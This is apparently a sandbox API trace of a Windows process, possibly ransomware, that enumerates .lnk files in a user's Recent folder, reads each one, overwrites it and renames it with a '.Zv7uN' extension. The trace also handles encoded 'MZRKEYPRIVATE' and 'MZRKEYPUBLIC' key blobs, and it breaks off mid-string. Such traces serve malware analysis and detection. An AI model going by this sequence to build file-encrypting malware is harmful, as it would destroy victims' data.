GetCurrentThreadId () returned 0xa30 [0083.560] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe19f8500, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0x3d62c780, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d62c780, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x138d, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="STLq6DOc.lnk", cAlternateFileName="")) returned 1 [0083.560] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0083.560] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0083.560] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\STLq6DOc.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\stlq6doc.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe19f8500, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0x3d62c780, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d62c780, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x138d)) returned 1 [0083.560] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\STLq6DOc.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\stlq6doc.lnk")) returned 0x20 [0083.560] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\STLq6DOc.lnk", dwFileAttributes=0x80) returned 1 [0083.562] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0083.562] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0083.563] GetCurrentThreadId () returned 0xa30 [0083.563] GetCurrentThreadId () returned 0xa30 [0083.564] GetCurrentThreadId () returned 0xa30 [0083.564] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0083.564] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0083.564] GetCurrentThreadId () returned 0xa30 [0083.565] GetCurrentThreadId () returned 0xa30 [0083.565] GetCurrentThreadId () returned 0xa30 [0083.565] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\STLq6DOc.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\stlq6doc.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0083.565] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0083.565] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0083.565] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x138d [0083.565] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0083.565] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x138d, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x138d, lpOverlapped=0x0) returned 1 [0083.567] CloseHandle (hObject=0x124) returned 1 [0083.567] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\STLq6DOc.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\stlq6doc.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0083.568] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x138d, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x138d, lpOverlapped=0x0) returned 1 [0083.570] CloseHandle (hObject=0x124) returned 1 [0083.572] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\STLq6DOc.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\stlq6doc.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\STLq6DOc.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\stlq6doc.lnk.zv7un")) returned 1 [0083.574] GetCurrentThreadId () returned 0xa30 [0083.574] GetCurrentThreadId () returned 0xa30 [0083.574] GetCurrentThreadId () returned 0xa30 [0083.574] GetCurrentThreadId () returned 0xa30 [0083.574] GetCurrentThreadId () returned 0xa30 [0083.574] GetCurrentThreadId () returned 0xa30 [0083.574] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2605460, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2605460, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2605460, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x381, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="sXOzIu2 q.lnk", cAlternateFileName="SXOZIU~1.LNK")) returned 1 [0083.574] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0083.574] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0083.574] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sXOzIu2 q.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\sxoziu2 q.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2605460, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2605460, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2605460, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x381)) returned 1 [0083.575] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sXOzIu2 q.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\sxoziu2 q.lnk")) returned 0x20 [0083.575] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sXOzIu2 q.lnk", dwFileAttributes=0x80) returned 1 [0083.577] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2P